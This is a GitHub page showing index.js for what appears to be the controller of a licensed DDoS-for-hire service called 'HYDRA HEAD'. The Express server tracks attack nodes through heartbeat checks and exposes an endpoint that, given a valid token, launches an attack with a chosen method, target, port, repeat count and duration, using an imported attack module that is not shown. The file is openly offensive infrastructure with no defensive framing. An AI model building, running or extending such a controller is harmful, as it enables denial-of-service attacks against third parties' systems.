-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathindex.js
More file actions
54 lines (42 loc) · 1.57 KB
/
index.js
File metadata and controls
54 lines (42 loc) · 1.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const express = require('express')
const app = express()
const port = process.env.PORT || 3000
const fetch = require('node-fetch');
const {attack} = require('./attack');
const {heartbeat} = require('./heartbeat');
const {checklicense, ReCheckNodes} = require('./utils');
app.get('/heartbeat', (req, res) => {
const id = req.query.id;
const address = req.query.address;
if(!id || !address) res.send({'type': 'error', 'message': 'You must provide GET params correctly'});
heartbeat(id, address, res);
})
setInterval(()=>{
console.log('[SYSTEM] Check all nodes...');
ReCheckNodes();
}, 30 * 1000)
app.get('/', (req, res) => {
const token = req.query.token;
const method = req.query.method;
const target = req.query.target;
const port = req.query.port;
const repeats = req.query.repeats;
const duration = req.query.duration;
if(!token || !method || !target || !port || !repeats || !duration) {
return res.send({
'type': 'error',
'message': 'You must provide correct GET params.'
})};
checklicense(token, function(resp) {
let response = JSON.parse(resp);
let type = response.message || response.type;
if(type=='success') {
return res.send(attack(method, repeats, target, port, token, duration));
} else {
return res.send({"type": "error", "message": "You must provide valid token."})
}
});
})
app.listen(port, () => {
console.log(`[HYDRA HEAD] System successfully started on port: ${port}`)
})